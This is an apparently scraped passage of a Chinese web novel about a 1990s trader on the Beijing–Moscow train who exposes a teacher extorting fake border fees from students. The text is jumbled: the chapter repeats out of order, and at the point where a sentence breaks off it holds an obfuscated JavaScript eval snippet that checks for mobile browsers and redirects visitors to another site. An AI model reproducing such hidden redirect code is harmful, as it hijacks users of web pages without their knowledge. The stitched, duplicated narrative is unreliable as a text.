之后有人实在无聊,壮着胆子开口朝何长宜借书。 一借一还,他们发现何长宜没有看上去那么拒人于千里之外,双方便渐渐搭上了话。 何长宜了解到,这一行二十余人都是去莫斯克留学的学生,而眼镜男是带队老师。 学生们在国内看到招生简章,只需在语言学校学习一年,就能免试入学莫斯克各大公立高校。 而语言学校的学费是一千美元加三千元人民币,虽然贵,但普通家庭咬咬牙也能出得起。 在这群准留学生中,有的是没考上大学的高中生,有的是停薪留职的上班族,有工人也有农民,都渴望通过留学改变自己和家庭的命运。 “我们家砸锅卖铁供我留学,我必须得在莫斯克学出个样子,要不然都对不起我爹妈。” “我家里借了好多钱,不过等我以后回国了,那些债就都不是问题。” “我同学没考上大学的都去技校了,等我在峨罗斯上完大学,就不用去工厂做工,在办公室坐着也能挣钱。” 等各自陈述了革命家史,有人大着胆子问何长宜: “姐,你是不是倒爷啊?” 何长宜掀掀眼皮:“是。所以?” 问话的人兴奋又紧张。 “听说倒爷都敢和老毛子干仗,挣的是刀尖舔血的钱。我之前还以为倒爷都长得五大三粗,不是李逵就是张飞,就算是女的也得是孙二娘才行,没想到姐你这样的居然也是倒爷,真是人不可貌相!” 何长宜:…… 理论上这应该是在夸她,但为什么她觉得有点手痒? 不知为何,这群学生有些怕何长宜,但又莫名地觉得她亲近。 像一群鬼鬼祟祟的狐獴,一边害怕地瞪大了眼睛,一边还要迈着小碎步往前凑。 何长宜则像一头懒洋洋的狮子,悠闲地甩着尾巴听这群狐獴在耳边碎碎念。 而眼镜男,也就是带队的蔡老师,每次都是躲得她远远的。 要是不小心在过道上与何长宜迎面碰到,他丝滑无比地转身就走,背影颇有几分落荒而逃。 这个车厢里,唯二不用亲自打水的就是他和何长宜。 蔡老师是指挥学生为他服务,而何长宜则从不用开口,每天都有借书的人主动替她把暖壶灌满。 其他没抢到打水的人,就把从家里带来的好吃的分给何长宜一份,吃完了还要替她洗饭盒。 搞得何长宜怪不好意思的,便决定在路上多看顾这群头一次出远门的学生们几分。 火车行至霍勒津,过了这个站,就到峨罗斯的地界。 这次何长宜做足了准备,提前在医院开了健康证明,省去了一百三十块的检疫费。 当列车上的人蜂拥着去车站商店抢购“阿迪达斯”时,何长宜双手抱胸,斜倚车门,对着想要跟风的学生们抬抬下巴: “回去吧,普通家庭攒钱不容易,还是别往水里扔了。” 大部分人信了,还有一小部分半信半疑,看着浩浩荡荡奔向商店的人群,有些犹豫。 何长宜没多劝,趁着停车的这段时间,在站台上散步吹风。 不过令她欣慰的是,去往商店的路上没见到面熟的学生。 火车再次启动,买到假冒伪劣衣服的乘客们在车上骂骂咧咧,何长宜却注意到圆脸小姑娘红肿的眼睛。 “哭什么,想家了?” 小姑娘嘴一撇,抽抽搭搭地说: “蔡老师让我们交一百五十块的过境费,还有八十块给海关的好处费……我没带那么多钱,他让我滚下火车,不带我去莫斯克了……” 另外两个男生也很低落。 “我妈给了我一千块傍身,这是我们家最后一点积蓄了……可还没出国就花了二百多,以后怎么办啊……” “蔡老师说不交不行,要是不交的话,我们的护照就失效了,就算去了峨罗斯也要被人家撵回来的……” 何长宜皱了皱眉,她怎么没听说过什么过境费和好处费。 “行了,别哭,他在哪个包厢,你带我过去。” 蔡老师正在包厢里蘸着唾沫数钱,忽然门被踢开,他不快,正想骂毛手毛脚的家伙,转头就看到那个最不想见的煞神。 “听说出国要交过境费和好处费,我怎么从来不知道?” 蔡老师一惊,眼睛珠子一转就想否认。 话才要出口,他看到何长宜身后跟过来的几个学生,还有听到声音后探头探脑的其他人。 “你胡说什么,过境费和好处费一直要收的,懂不懂规矩?你之前没交就相当于逃了票,我们跟你不一样,我们是正规买票的。” 何长宜眯起眼睛。 “逃票?” 她慢条斯理地说: “你的意思是,国家公职人员公然利用职务之便收取好处费?还是说国境线上搭了收费站,不交钱就禁止出国?” 听到何长宜的话,交了钱的学生们都用怀疑的目光看向蔡老师。 蔡老师心中叫苦,面上还在嘴硬: “这都是惯例,你不懂就不要讲,别误导我们学生。要是他们不能留学,你负得起这个责任吗?!” 何长宜不怒反笑。 “对,我确实负不起这个责任。不过列车有车长,人家常年往返中峨,比任何人都了解情况。走,咱们一起去问问。要是你说得对,我赔你一件皮夹克;要是你说错了,马上把钱还给学生们。” 在听到何长宜的前半段话时,圆脸小姑娘的脸色变得灰暗,要是这位大姐姐都不愿意管的话,她就真的没希望了。 可当听到后半段话,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15968471|177435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛唰地一下亮了起来。 另外两个男生附和道:“就是,咱们一起去找车长!总不能平白无故就收我们二百多块钱吧!” “是啊,要是车长说真的要交,我们也就认了……” “我去问问列车员,车长在哪一节车厢!” 其他学生也纷纷应和,一时间蔡老师被架住了,眼睛焦急地转来转去。 “那、那车长是峨罗斯人!在场的除了你谁听得懂峨语,还不是任由你翻译,你说什么就是什么,这不是耍赖吗?” 何长宜很痛快。 “你在车上随便找一个会峨语的,让他翻译不就行了。不行多找几个,人家和我们两边都不认识,总不见得一起串通骗人吧?” 学生们都觉得这个主意好,有人自告奋勇去其他车厢找来懂峨语的人。 然而,直到热心翻译到位,蔡老师仍旧不肯去找车长,逼急了就一拍桌子,疾言厉色地冲着学生们大喊大叫,问他们是不是不打算去留学了。 ——当然,他没敢冲着何长宜甩脸色,精准地把脸扭到她看不到的方位。 年长一些的学生意识到不对劲,但人在屋檐下,他们还是想留学的。 有人打了退堂鼓,低声地说: “算了吧,一万块钱都花了,也不差这二百了……” 也有人不肯放弃。 “那怎么行,出国的钱可都是我父母一辈子攒下来的血汗钱,要是花在学习上我就认了;可无缘无故就让我掏二百块,那不成,我不答应!” 车厢里闹哄哄的,其他车厢的人也来看热闹,就连峨罗斯列车员都过来看这里发生了什么。 何长宜把人都赶出去,关上包厢门,屈指敲了敲桌子。 “行了,给自己留点脸吧,钱呢?拿出来。” 蔡老师低着头,悄悄用怨恨的眼神瞪了几下,还不敢让何长宜发现。 见这家伙像个鼻涕虫似的窝在铺位里面,何长宜不耐烦地催促道: “赶紧的,我没心情和你耗。要么你拿出来,要么我自己动手。我数三下,三,二——” 不等“一”发出来,蔡老师一把将钱从衣服内兜里掏出来,犹豫了下,不情不愿扔到桌上。 钞票沾了体温,何长宜嫌弃,不想上手去数。 “二十个人,每人二百三十块,一共是四千六。要是少了一张,你不想知道后果的。” 听到何长宜的威胁,蔡老师顿了顿,抬头迅速用怨念的小眼神看了她一眼。 接着他脱下鞋,从鞋垫下面又抽出一叠钞票。 ——都特么能闻到味儿了。 何长宜转身开门,对着门外伸着耳朵偷听的学生们说: “行了,问题解决了。你们蔡老师对出国政策没深入了解,弄出了误会,现在他已经认识到错误了,你们过来,把自己的钱领走。” 学生们欢呼起来。 虽然因为接下来他们还要跟着蔡老师去语言学校办理入学手续,何长宜才轻飘飘地盖上一层遮羞布,把一切说成误会,但在场的人都知道实际发生了什么。 经此一役,大小狐獴们更信任何长宜了,恨不得走哪儿跟哪儿。 何长宜彻底过上衣来伸手饭来张口的好日子。 甚至连上厕所的时候,圆脸小姑娘都恨不能托着她的胳膊,像伺候老太后似的把她伺候到马桶上。 此消彼长,蔡老师落寞极了,不得不自己提着暖壶去打水。 列车一路西行,越过了国境线。 在停靠峨罗斯站台时,车上倒爷蓄势待发,车下峨罗斯人举着卢布嗷嗷待哺。 学生们也带了不少货物,打算卖了赚点生活费。 在一众卖货的钟国人中,何长宜行云流水般的动作格外显眼。 面对一群挤在身边、把卢布快怼到她脸上的客户,她流畅地数钱卖货,然后左手熟练地抢回货物,右手把假|钞摔到对方脸上。 回车上补货时,她随手将伸到上铺的钩子扯进来,窗外传来失去平衡摔下去的小偷叽里咕噜的大骂声。 再次拿着衣服下车时,何长宜顺手抓住在窗口卖货学生的胳膊往里一拽,外面跳起来抢货的家伙正好扑了个空。 几次下来,车厢上的人看何长宜的眼神已经不能用敬仰两个字来概括了。 ——他们好像看到了倒爷界的概念神。 车厢的货物以肉眼可见的速度迅速减少,学生们赚得盆满钵满,而且因为有何长宜带着,避开了新手倒爷经常被坑的陷阱,每个人钱包鼓鼓,红光满面。 兜里有钱,胆气就壮。 有学生即使没学会峨语,都敢独自一人去车站商店买东西,和售货员比划着买回来一扎啤酒,给每个人分了两瓶,庆祝开张发财。 要不是学费概不退还,都有人想放弃留学,直接跟着何长宜转行做倒爷。 然而,与学生们的欣喜若狂形成鲜明对比的是,何长宜反而从刚上车时的悠哉变得警惕起来。 钱太多了。 懒洋洋甩着尾巴的狮子站了起来,望向隐藏在黑暗中的敌人。 就在列车离开乌兰乌德站后,凌晨时分,当所有人都陷入沉睡时,包厢外忽然传来细微而凌乱的脚步声。 何长宜睁开眼睛,借着窗外的月光,她看到一根弯曲的铁丝顺着包厢门的缝隙伸了进来。 下一秒,卡在门锁处的卡扣就被铁丝拽了下来。 一声轻响,门开了。 17. 第 17 章 国际列车候车室。 离发车时间不到两小时,候车室里人挤人,行李摞行李,连多余的落脚地都没有。 站务员拖着磅秤从人群中艰难地挤出来,走到检票口前,熟练地喊了一嗓子: “所有人来过行李了!” 话音未落,乘客们像是约好了似的,唰地站了起来,齐齐往身上套皮夹克和羽绒服。 入春后暖气已停,因着倒春寒的缘故,火车站里挺冷的。 然而,随着往身上套的衣服越来越多,许多人热出了一脑门的汗,呼哧呼哧直喘粗气。 套完了衣服的,如同米其林轮胎人一般,走路摇摇摆摆,艰难地拖着巨大的行李走到磅秤前排队。 角落里,一群年龄大小不一的男女聚在一起,满脸都是将要出远门的亢奋和不安。 见其他人都在套衣服,这帮人稀奇不已。 “这是在干嘛呢?” “为啥上车前要穿衣服?车上冷?” “蔡老师,要不要让学生们也穿啊?” 被称作“蔡老师”的眼镜男一挥手,不屑地说: “那些都是倒爷,不是什么正经人,咱们可是去留学的,甭跟他们学这些乱七八糟的。” 他话音未落,旁边传来一声嗤笑。 蔡老师恼怒地看过去,一个短发高个的女人正似笑非笑地盯着他瞧。 和其他人一样,她身上叠穿了至少五件皮夹克。 不过因为人长得高挑瘦削,穿了这么多衣服看起来丝毫不累赘,反而有种别样的肆意潇洒。 短发女人旁边还跟了两个人,都是类似的叠穿打扮,一看就是一伙儿的。 哼,一帮没素质的黑|涩会! 蔡老师动作幅度微小地撇撇嘴,转头只当从来没听到。 他、他才不是怂了…… 对着鹌鹑似的学生们,蔡老师就有底气多了,骂骂咧咧地说: “都坐那儿干嘛呢!赶紧的,起来排队检票!瞧你们一个一个屁股沉的,我告诉你们,峨罗斯可没这样儿的!家长们也别送了,多大人了还断不了奶……快点,都等谁请呢!” 等他发泄完这股子无名火,再用余光悄悄去瞥,那个女人已经走了。 蔡老师莫名在心里松了一口气。 候车室挤得很,月台也不逞多让。 登车的、送站的把一整列火车围得水泄不通,想要上车得削尖了脑袋往里挤。 蔡老师带着二十来号学生千辛万苦从人群中杀出一条血路,好不容易才挤上了车。 刚进车厢,他就看到过道处站了个人,正打开窗户从车外接什么东西。 听到声响,那人回头看了一眼。 蔡老师当时心里就一咯噔,坏了,怎么又是那个女人! 何长宜不知道对方复杂的心理活动,随便扫了来人一眼,便继续从车下人的手里接衣服。 她这次随身携带三十五公斤行李,托运了四十公斤,加上身上叠穿的皮夹克,还没用完全部货款。 但上车要过行李,而一次能叠穿的衣服有限,于是何长宜索性雇了两个人,又买了两张站台票,让他们各穿五件皮夹克,再以送站的名义跟着自己一起过检票口,最后将皮夹克通过窗户递给她。 这下,何长宜又能多带十件皮夹克。 最后一件皮夹克从窗户塞进来时,站台响起了悠长的鸣笛声。 何长宜抱着一摞皮夹克回到包厢,才开门,就见里面坐着的眼镜男像见了鬼似的瞪着她。 为防小偷的钩子,何长宜这次特地加价买了下铺票,没想到刚开车就有人来占座。 “让开,你坐我铺上了。” 何长宜不客气地将皮夹克往铺位上一扔,也不管砸没砸到人。 眼镜男像火烧了屁股似的,噌地就从铺位上蹿了出去,头也不回逃出包厢。 不一会儿,外面传来他的说话声。 “去,你跟我换个铺……看什么,就你,赶紧的!” 何长宜正在整理行李,包厢门轻响,一个圆脸小姑娘走了进来,怯生生地冲她一笑,把行李往外面架子上一放,就要爬到上铺。 何长宜喊住了她。 “哎,等等,谁让你把行李放那儿的。” 小姑娘顺着梯子爬到一半,此时不上不下的,像个惊慌失措的小仓鼠。 “不、不能放吗?对不起,对不起,我马上拿走……” 何长宜嘴角一抽,感觉自己好像变成了欺压民女的反派,不得不多解释一句。 “车上贼多,你行李放外面容易丢。反正包厢里有空地,你放里面好了。” 小姑娘这才意识到何长宜是好意提醒,圆脸蛋一红,忙不迭地往下爬。 “谢谢,谢谢,我这就拿进来……” 包厢里另两个男生之前一直没敢说话,此时也赶忙把放在外面行李架的大包小包都收回来。 出了京城市区,火车提速,一路朝东北方向而去。 何长宜坐过国际列车有经验,长途旅途无聊,她便将精神食粮备得充裕,带了好几本小说。 起初的时候,包厢里另外三个人大眼瞪小眼,不敢在何长宜看书的时候发出声响,常常是悄咪咪溜到别的包厢,等到熄灯再回来。 之后有人实在无聊,壮着胆子开口朝何长宜借书。 一借一还,他们发现何长宜没有看上去那么拒人于千里之外,双方便渐渐搭上了话。 何长宜了解到,这一行二十余人都是去莫斯克留学的学生,而眼镜男是带队老师。 学生们在国内看到招生简章,只需在语言学校学习一年,就能免试入学莫斯克各大公立高校。 而语言学校的学费是一千美元加三千元人民币,虽然贵,但普通家庭咬咬牙也能出得起。 在这群准留学生中,有的是没考上大学的高中生,有的是停薪留职的上班族,有工人也有农民,都渴望通过留学改变自己和家庭的命运。 “我们家砸锅卖铁供我留学,我必须得在莫斯克学出个样子,要不然都对不起我爹妈。” “我家里借了好多钱,不过等我以后回国了,那些债就都不是问题。” “我同学没考上大学的都去技校了,等我在峨罗斯上完大学,就不用去工厂做工,在办公室坐着也能挣钱。” 等各自陈述了革命家史,有人大着胆子问何长宜: “姐,你是不是倒爷啊?” 何长宜掀掀眼皮:“是。所以?” 问话的人兴奋又紧张。 “听说倒爷都敢和老毛子干仗,挣的是刀尖舔血的钱。我之前还以为倒爷都长得五大三粗,不是李逵就是张飞,就算是女的也得是孙二娘才行,没想到姐你这样的居然也是倒爷,真是人不可貌相!” 何长宜:…… 理论上这应该是在夸她,但为什么她觉得有点手痒? 不知为何,这群学生有些怕何长宜,但又莫名地觉得她亲近。 像一群鬼鬼祟祟的狐獴,一边害怕地瞪大了眼睛,一边还要迈着小碎步往前凑。 何长宜则像一头懒洋洋的狮子,悠闲地甩着尾巴听这群狐獴在耳边碎碎念。 而眼镜男,也就是带队的蔡老师,每次都是躲得她远远的。 要是不小心在过道上与何长宜迎面碰到,他丝滑无比地转身就走,背影颇有几分落荒而逃。 这个车厢里,唯二不用亲自打水的就是他和何长宜。 蔡老师是指挥学生为他服务,而何长宜则从不用开口,每天都有借书的人主动替她把暖壶灌满。 其他没抢到打水的人,就把从家里带来的好吃的分给何长宜一份,吃完了还要替她洗饭盒。 搞得何长宜怪不好意思的,便决定在路上多看顾这群头一次出远门的学生们几分。 火车行至霍勒津,过了这个站,就到峨罗斯的地界。 这次何长宜做足了准备,提前在医院开了健康证明,省去了一百三十块的检疫费。 当列车上的人蜂拥着去车站商店抢购“阿迪达斯”时,何长宜双手抱胸,斜倚车门,对着想要跟风的学生们抬抬下巴: “回去吧,普通家庭攒钱不容易,还是别往水里扔了。” 大部分人信了,还有一小部分半信半疑,看着浩浩荡荡奔向商店的人群,有些犹豫。 何长宜没多劝,趁着停车的这段时间,在站台上散步吹风。 不过令她欣慰的是,去往商店的路上没见到面熟的学生。 火车再次启动,买到假冒伪劣衣服的乘客们在车上骂骂咧咧,何长宜却注意到圆脸小姑娘红肿的眼睛。 “哭什么,想家了?” 小姑娘嘴一撇,抽抽搭搭地说: “蔡老师让我们交一百五十块的过境费,还有八十块给海关的好处费……我没带那么多钱,他让我滚下火车,不带我去莫斯克了……” 另外两个男生也很低落。 “我妈给了我一千块傍身,这是我们家最后一点积蓄了……可还没出国就花了二百多,以后怎么办啊……” “蔡老师说不交不行,要是不交的话,我们的护照就失效了,就算去了峨罗斯也要被人家撵回来的……” 何长宜皱了皱眉,她怎么没听说过什么过境费和好处费。 “行了,别哭,他在哪个包厢,你带我过去。” 蔡老师正在包厢里蘸着唾沫数钱,忽然门被踢开,他不快,正想骂毛手毛脚的家伙,转头就看到那个最不想见的煞神。 “听说出国要交过境费和好处费,我怎么从来不知道?” 蔡老师一惊,眼睛珠子一转就想否认。 话才要出口,他看到何长宜身后跟过来的几个学生,还有听到声音后探头探脑的其他人。 “你胡说什么,过境费和好处费一直要收的,懂不懂规矩?你之前没交就相当于逃了票,我们跟你不一样,我们是正规买票的。” 何长宜眯起眼睛。 “逃票?” 她慢条斯理地说: “你的意思是,国家公职人员公然利用职务之便收取好处费?还是说国境线上搭了收费站,不交钱就禁止出国?” 听到何长宜的话,交了钱的学生们都用怀疑的目光看向蔡老师。 蔡老师心中叫苦,面上还在嘴硬: “这都是惯例,你不懂就不要讲,别误导我们学生。要是他们不能留学,你负得起这个责任吗?!” 何长宜不怒反笑。 “对,我确实负不起这个责任。不过列车有车长,人家常年往返中峨,比任何人都了解情况。走,咱们一起去问问。要是你说得对,我赔你一件皮夹克;要是你说错了,马上把钱还给学生们。” 在听到何长宜的前半段话时,圆脸小姑娘的脸色变得灰暗,要是这位大姐姐都不愿意管的话,她就真的没希望了。 可当听到后半段话,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不等“一”发出来,蔡老师一把将钱从衣服内兜里掏出来,犹豫了下,不情不愿扔到桌上。 钞票沾了体温,何长宜嫌弃,不想上手去数。 “二十个人,每人二百三十块,一共是四千六。要是少了一张,你不想知道后果的。” 听到何长宜的威胁,蔡老师顿了顿,抬头迅速用怨念的小眼神看了她一眼。 接着他脱下鞋,从鞋垫下面又抽出一叠钞票。 ——都特么能闻到味儿了。 何长宜转身开门,对着门外伸着耳朵偷听的学生们说: “行了,问题解决了。你们蔡老师对出国政策没深入了解,弄出了误会,现在他已经认识到错误了,你们过来,把自己的钱领走。” 学生们欢呼起来。 虽然因为接下来他们还要跟着蔡老师去语言学校办理入学手续,何长宜才轻飘飘地盖上一层遮羞布,把一切说成误会,但在场的人都知道实际发生了什么。 经此一役,大小狐獴们更信任何长宜了,恨不得走哪儿跟哪儿。 何长宜彻底过上衣来伸手饭来张口的好日子。 甚至连上厕所的时候,圆脸小姑娘都恨不能托着她的胳膊,像伺候老太后似的把她伺候到马桶上。 此消彼长,蔡老师落寞极了,不得不自己提着暖壶去打水。 列车一路西行,越过了国境线。 在停靠峨罗斯站台时,车上倒爷蓄势待发,车下峨罗斯人举着卢布嗷嗷待哺。 学生们也带了不少货物,打算卖了赚点生活费。 在一众卖货的钟国人中,何长宜行云流水般的动作格外显眼。 面对一群挤在身边、把卢布快怼到她脸上的客户,她流畅地数钱卖货,然后左手熟练地抢回货物,右手把假|钞摔到对方脸上。 回车上补货时,她随手将伸到上铺的钩子扯进来,窗外传来失去平衡摔下去的小偷叽里咕噜的大骂声。 再次拿着衣服下车时,何长宜顺手抓住在窗口卖货学生的胳膊往里一拽,外面跳起来抢货的家伙正好扑了个空。 几次下来,车厢上的人看何长宜的眼神已经不能用敬仰两个字来概括了。 ——他们好像看到了倒爷界的概念神。 车厢的货物以肉眼可见的速度迅速减少,学生们赚得盆满钵满,而且因为有何长宜带着,避开了新手倒爷经常被坑的陷阱,每个人钱包鼓鼓,红光满面。 兜里有钱,胆气就壮。 有学生即使没学会峨语,都敢独自一人去车站商店买东西,和售货员比划着买回来一扎啤酒,给每个人分了两瓶,庆祝开张发财。 要不是学费概不退还,都有人想放弃留学,直接跟着何长宜转行做倒爷。 然而,与学生们的欣喜若狂形成鲜明对比的是,何长宜反而从刚上车时的悠哉变得警惕起来。 钱太多了。 懒洋洋甩着尾巴的狮子站了起来,望向隐藏在黑暗中的敌人。 就在列车离开乌兰乌德站后,凌晨时分,当所有人都陷入沉睡时,包厢外忽然传来细微而凌乱的脚步声。 何长宜睁开眼睛,借着窗外的月光,她看到一根弯曲的铁丝顺着包厢门的缝隙伸了进来。 下一秒,卡在门锁处的卡扣就被铁丝拽了下来。 一声轻响,门开了。